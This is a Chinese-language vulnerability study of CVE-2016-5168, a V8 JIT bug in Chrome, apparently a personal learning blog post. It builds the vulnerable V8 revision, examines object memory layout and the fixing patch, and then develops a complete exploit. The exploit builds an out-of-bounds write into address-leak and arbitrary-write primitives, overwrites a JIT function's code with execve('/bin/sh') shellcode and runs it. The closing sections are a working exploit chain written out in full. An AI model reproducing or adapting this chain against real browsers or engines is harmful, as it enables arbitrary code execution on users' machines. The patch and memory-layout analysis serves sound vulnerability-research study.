chrome浏览器漏洞强化2-CVE-2016-5168

前言

继续，但是这些漏洞要细究起来都很麻烦，只能粗略学一下了。

环境搭建

跟前面两篇文章的方式基本一样，首先去chrome的bug页面找到对应的bug，然后查看官方提交的修复：

我们要用的是漏洞版本，所以要回退到其parent版本，所以环境搭建如下（同样使用vultr）：

yum groupinstall "Development Tools"  
yum install python2
yum install -y git gdb bzip2 wget
cd ~
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=`pwd`/depot_tools:"$PATH"
mkdir v8
cd v8
fetch v8
cd ~/v8/v8
git reset --hard a7a350012c05f644f3f373fb48d7ac72f7f60542 # CVE-2016-5168漏洞分支
gclient sync
./tools/dev/v8gen.py x64.release
ninja -C ./out.gn/x64.release # Release version
./tools/dev/v8gen.py x64.debug
ninja -C ./out.gn/x64.debug # Debug version

编译时报错：

1	`../../third_party/llvm-build/Release+Asserts/bin/clang++: error while loading shared libraries: libtinfo.so.5: cannot open shared object file: No such file or directory`

看起来是缺少依赖，按照网上的做法将高版本的该共享库软链接一下：

1	`ln -s /usr/lib64/libtinfo.so.6.1 /usr/lib64/libtinfo.so.5`

看起来没有问题了。

漏洞分析

string内存分配

简单的测试脚本：

var str1 = new String("aaaaaaaaaaaaaaa");
var str2 = new String("aaaaaaaaaaaaaaa");
var str3 = new String("bbbbbbbbbbbbbb");
var str4 = new String(null);
%DebugPrint(str1);
%DebugPrint(str2);
%DebugPrint(str3);
%DebugPrint(str4);
%SystemBreak();

四个字符串在内存中的表示如下：

可以看到，JavaScript中的字符串也是个对象，其数据保存在value属性中。两个相同的字符串只会在内存中保存一次，保存的地方看起来是在堆栈上面，然后两个字符串对象的value指针指向同一个地址处。如果是null字符串，其value指针会指向跟elements指针相近的地方，看起来它们可能都是程序中定义的一个泛用型数据。字符串的value属性内存表示如下：

第三个地址单元处以SMI类型存储了字符串长度，第四个地址单元开始就是字符串的数据，第一个地址单元打印出来可以看到是个Map，第二个地址单元只占用了低32位，是个不知名数据。

对象properties属性内存分配

测试代码：

var a = {};
a.a = 1;
a.b = 1.1;
a.c = {};
%DebugPrint(a);
%SystemBreak();

内存布局如下：

可以看到，对于{}这种字典型对象来说，此时其properties就直接布置在了对象的后方，和对象紧贴，并按照SMI、Double、Object等类型进行存放。

换一下测试代码：

var a = new Set();
a.a = 1;
a.b = 1.1;
a.c = {};
%DebugPrint(a);
%SystemBreak();

内存布局如下：

可以看到，对于Set这种非字典型对象来说，此时其properties属性是一个保存在第二个地址单元处的指针，我们定义的这些properties都会放置在这个指针指向的地址处。在该处地址，第一个地址单元存放Map，第二个地址单元存放properties数量，第三个地址单元开始存放properties，SMI直接存放，Double和对象存放的是地址。

patch分析

主要patch有两处，第一处如下所示：

diff --git a/src/compiler/js-global-object-specialization.cc b/src/compiler/js-global-object-specialization.cc
index a06704a..b38aed4 100644
--- a/src/compiler/js-global-object-specialization.cc
+++ b/src/compiler/js-global-object-specialization.cc
@@ -196,13 +196,18 @@
       Type* property_cell_value_type;
       MachineRepresentation representation = MachineRepresentation::kTagged;
       if (property_cell_value->IsHeapObject()) {
+        // We cannot do anything if the {property_cell_value}s map is no
+        // longer stable.
+        Handle<Map> property_cell_value_map(
+            Handle<HeapObject>::cast(property_cell_value)->map(), isolate());
+        if (!property_cell_value_map->is_stable()) return NoChange();
+        dependencies()->AssumeMapStable(property_cell_value_map);
+
         // Check that the {value} is a HeapObject.
         value = effect = graph()->NewNode(simplified()->CheckHeapObject(),
                                           value, effect, control);
 
         // Check {value} map agains the {property_cell} map.
-        Handle<Map> property_cell_value_map(
-            Handle<HeapObject>::cast(property_cell_value)->map(), isolate());
         effect = graph()->NewNode(
             simplified()->CheckMaps(1), value,
             jsgraph()->HeapConstant(property_cell_value_map), effect, control);

根据文件名和路径可以看出，问题发生在JIT对全局对象的优化处，而根据注释可以看出，代码中增加了对unstable Map的检查。然后是第二处patch：

diff --git a/src/crankshaft/hydrogen.cc b/src/crankshaft/hydrogen.cc
index 16c3639..79e78a5 100644
--- a/src/crankshaft/hydrogen.cc
+++ b/src/crankshaft/hydrogen.cc
@@ -6518,11 +6518,19 @@
           access = access.WithRepresentation(Representation::Smi());
           break;
         case PropertyCellConstantType::kStableMap: {
-          // The map may no longer be stable, deopt if it's ever different from
-          // what is currently there, which will allow for restablization.
-          Handle<Map> map(HeapObject::cast(cell->value())->map());
+          // First check that the previous value of the {cell} still has the
+          // map that we are about to check the new {value} for. If not, then
+          // the stable map assumption was invalidated and we cannot continue
+          // with the optimized code.
+          Handle<HeapObject> cell_value(HeapObject::cast(cell->value()));
+          Handle<Map> cell_value_map(cell_value->map());
+          if (!cell_value_map->is_stable()) {
+            return Bailout(kUnstableConstantTypeHeapObject);
+          }
+          top_info()->dependencies()->AssumeMapStable(cell_value_map);
+          // Now check that the new {value} is a HeapObject with the same map.
           Add<HCheckHeapObject>(value);
-          value = Add<HCheckMaps>(value, map);
+          value = Add<HCheckMaps>(value, cell_value_map);
           access = access.WithRepresentation(Representation::HeapObject());
           break;
         }

同样是看注释，可以看到同样增加了对unstable Map的检查，同时对stable Map，还增加了一个AssumeMapStable函数的调用，其定义如下：

void CompilationDependencies::AssumeMapStable(Handle<Map> map) {
    DCHECK(map->is_stable());
    // Do nothing if the map cannot transition.
    if (map->CanTransition()) {
        Insert(DependentCode::kPrototypeCheckGroup, map);
    }
}

kPrototypeCheckGroup操作码的注释如下：

// Group of code that omit run-time prototype checks for prototypes
// described by this map. The group is deoptimized whenever an object
// described by this map changes shape (and transitions to a new map),
// possibly invalidating the assumptions embedded in the code.

看起来是在一个对象的Map发生变化时去优化用的（比如前面测试代码中我们给Set对象定义属性时它的Map属性就会发生变化）。

官网给出的bug测试代码如下：

var n;
function Ctor() {
  try { } catch (e) {}
  n = new Set();
}
function Check() {
  n.xyz = 0x826852f4;
}
Ctor();
Ctor();
%OptimizeFunctionOnNextCall(Ctor);
Ctor();
Check();
Check();
%OptimizeFunctionOnNextCall(Check);
Check();
Ctor();
Check();
parseInt('AAAAAAAA');

稍微修改一下，改得好看一点，try和catch跟JIT使用的编译器有关，这里可以去掉：

var n;
function Ctor() {
    n = new Set();
}

function Check() {
    n.xyz = 0x826852f4;
}

for (var i=0;i<10000;i++) {
   Ctor();
}


for (var i=0;i<10000;i++) {
   Check();
}

Ctor();
Check();
var b = new String(null);
print(b);

运行一下，可以发现程序崩溃，使用–print-opt-code参数打印一下优化代码，Ctor函数的优化代码如下：

可以看到，优化代码首先通过Construct构造了一个Set对象，然后将其存储到了0x2a3ad4c2b819+0xf地址处。

Check函数的优化代码如下：

可以看到，优化代码从0x2a3ad4c2b819+0xf地址处取出了Set，然后将浮点数0x41e04d0a5e800000（即0x826852f4）放入浮点数寄存器中，然后取出Set对象0x7偏移处的数据（算上JavaScript底层存储指针时会加上的1，就是0x8偏移，即放置在第二个地址单元处的properties指针），将其作为一个指针，以偏移0xf（即第三个地址单元处）再取个地址，再以偏移0x7将这个浮点数写入进去：

跟我们前面看到的Set对象properties存放方式相吻合（即properties指针->第一个properties（因为是Double所以此处是个指针）->该properties的数据），然后我们调试一下看看properties为空时Set对象的内存布局：

可以看到，此时properties指针和elements指针指向同一个地址，而该地址附近就是我们之前看到过的null字符串的value指针指向的地方。

也就是说，此时Check函数的优化代码发生了一个越界写漏洞，它将这个浮点数写入到了null字符串->value指针->Map指针->第二个地址单元处，损坏了这个null字符串的Map，所以在后面要使用到其时导致了程序崩溃。

漏洞利用

addressOf

按照我们对JavaScript对象底层布局的了解，SMI类型会直接写入到高32位处，对象会直接写入其地址，Double则会多一层地址来写入。

自然我们可以通过多次定义Set对象的连续改写多个地址单元处的数据，我们只要将某个对象的地址写入到null字符串的value属性的第四个地址单元（即字符串数字部分），就可以通过访问字符串的方式读取到其地址。

但这里有一个问题，为了避免程序崩溃，null字符串的value属性的前两个地址单元中的数据（即Map、不知名低32位）是不能被更改的。后一个数据好说，只要写入一个SMI类型的数据0，因为SMI类型只会影响高32位，所以不会写入一个0不会影响这个地址单元的数据。但前一个地址单元是个地址，写入SMI或者对象都会让其发生错误，所以只能看看写入Double数据时，其所指向的地址的第二个地址单元处数据是否固定，调试一下：

可以看到，这个地址单元的数据实际上不是指针这种不确定的数据，而是多个数据的集合，分别代表这个Map的多种属性，也就是说，这是个可以确定的数据，我们可以通过写入相同的Double来避免改写此处的数据。

可以写出addressOf函数：

var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);

function p64f(value1,value2) {
    dv.setUint32(0,value1,true);
    dv.setUint32(0x4,value2,true);
    return dv.getFloat64(0,true);
}


function u64f(value) {
    dv.setFloat64(0,value,true);
    return dv.getUint32(0,true) + dv.getUint32(4,true)*0x100000000;
}

var set;
function Ctor() {
    set = new Set();
}

function Check(obj) {
    set.a = p64f(0x00007300, 0x00190004);
    set.b = 0x0;
    set.c = 0x8;
    set.d = obj;
}

for (var i=0;i<10000;i++) {
    Ctor();
}


for (var i=0;i<10000;i++) {
    Check({});
}

var str = new String(null);

function addressOf(obj) {
    Ctor();
    Check(obj);
    var addr = 0;
    for (var i=0;i<0x8;i++) {
      addr += (str.charCodeAt(i) * Math.pow(0x100,i));
   }
   return addr - 0x1;
}

print(addressOf(str).toString(16));
%DebugPrint(set);
%SystemBreak();

调试一下看看有没有问题：

打印一下这个地址：

没有问题。

任意地址写

要实现命令执行，还需要一个任意地址写功能。在SMI、对象、Double这三种能写的数据中，比较特别的就是Double类型，它能够将某个地址单元处的数据当作一个地址，然后往该地址的下一个地址单元写入数据。

所以，如果我们能够先向这个地址单元写入一个地址，那么我们第二次就可以通过写入Double的方式实现任意地址写。不过这样还有一个问题，我们只能直接写入SMI、对象指针这两种数据，而SMI只能影响高32位，所以能用的只有写入对象这一种方式，所以要写入任意地址还需要一点别的操作。

这里还有一点，new String(null)和String(null)有所不同，后者可以直接获得null字符串的value属性：

思考这么一种情况，首先我们通过addressOf获取null字符串的地址，然后通过越界写入这么4个数据：

p64f(0x00007300, 0x00190004)
0x0
0x8
String(null)

这样第四个地址单元处就是一个地址，其指向null字符串。

然后第二次我们写入：

p64f(0x00007300, 0x00190004)
0x0
0x8
address（要写入数据的地址）-0x7

这次写入第四个地址单元的数据就是一个Double类型，根据偏移，此时会将数据写入第二个地址单元处。

最后第三次写入：

p64f(0x00007300, 0x00190004)
value（要写入的数据）

这次写入第二个地址单元的数据就是一个Double类型，根据偏移，此时会将数据写入要写入数据的地址处。

按照参考文章的图片，就是：

因为要进行越界写入三次，为了避免相互影响使用3个不同的对象，否则第二次写入时会出错。

命令执行

通过构造自定义函数代替wasm，找好偏移把shellcode写入然后执行就行：

var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);

function i2f(value1,value2) {
    dv.setUint32(0, value1, true);
    dv.setUint32(0x4, value2, true);
    return dv.getFloat64(0, true);
}


function f2i(value) {
    dv.setFloat64(0, value, true);
    return dv.getUint32(0, true) + dv.getUint32(4, true) * 0x100000000;
}

var set, map, date;
function SetCtor() {
    set = new Set();
}

function MapCtor() {
    map = new Map();
}

function DateCtor() {
    date = new Date();
}


function useForAddressOf(obj) {
    set.a = i2f(0x00007300, 0x00190004);
    set.b = 0x0;
    set.c = 0x9;
    set.d = obj;
}

function useForWrite1(val) {
    map.a = i2f(0x00007300, 0x00190004);
    map.b = 0x0;
    map.c = 0xa;
    map.d = val;
}

function useForWrite2(val) {
    date.a = i2f(0x00007300, 0x00190004);
    date.b = val;
}

for (var i = 0;i < 10000;i++) {
    SetCtor();
}

for (var i = 0;i < 10000;i++) {
    useForAddressOf({});
}

var str = new String(null);

function addressOf(obj) {
    SetCtor();
    useForAddressOf(obj);
    var addr = 0;
    for (var i = 0;i < 0x8;i++) {
      addr += (str.charCodeAt(i) * Math.pow(0x100, i));
   }
   return addr - 0x1;
}

var nullStr = addressOf(String(null));
print("nullStr_addr = 0x" + nullStr.toString(16));

for (var i = 0;i < 10000;i++) {
    MapCtor();
}

for (var i = 0;i < 10000;i++) {
    useForWrite1(i + 1.1);
}

for (var i = 0;i < 10000;i++) {
    DateCtor();
}

for (var i = 0;i < 10000;i++) {
    useForWrite2(i + 1.1);
}

function write(address, data) {
    SetCtor();
    useForAddressOf(String(null));
    MapCtor();
    useForWrite1(i2f(address & 0xFFFFFFFF,address / 0x100000000));
    DateCtor();
    useForWrite2(i2f(data & 0xFFFFFFFF,data / 0x100000000));  
}

var func = new Function("var a = 0x66666666;");
var shellcode_ptr_addr = addressOf(func) + 0x38;
print("shellcode_ptr_addr = 0x" + shellcode_ptr_addr.toString(16));

var data_buf = new ArrayBuffer(24);
var data_view = new DataView(data_buf);
var buf_backing_store_addr = addressOf(data_buf) + 0x20;
print("buf_backing_store_addr = 0x" + buf_backing_store_addr.toString(16));

write(buf_backing_store_addr - 0x7, shellcode_ptr_addr);
var shellcode_addr = f2i(data_view.getFloat64(0,true));
print("shellcode_addr = 0x" + shellcode_addr.toString(16));
write(buf_backing_store_addr - 0x7, shellcode_addr);

var shellcode = [
    0xbb48f631, 
    0x6e69622f,
    0x68732f2f, 
    0x5f545356,
    0x31583b6a, 
    0x00050fd2,
];

for (var i = 0;i < shellcode.length;i++) {
   data_view.setUint32(i * 4, shellcode[i], true);
}

func();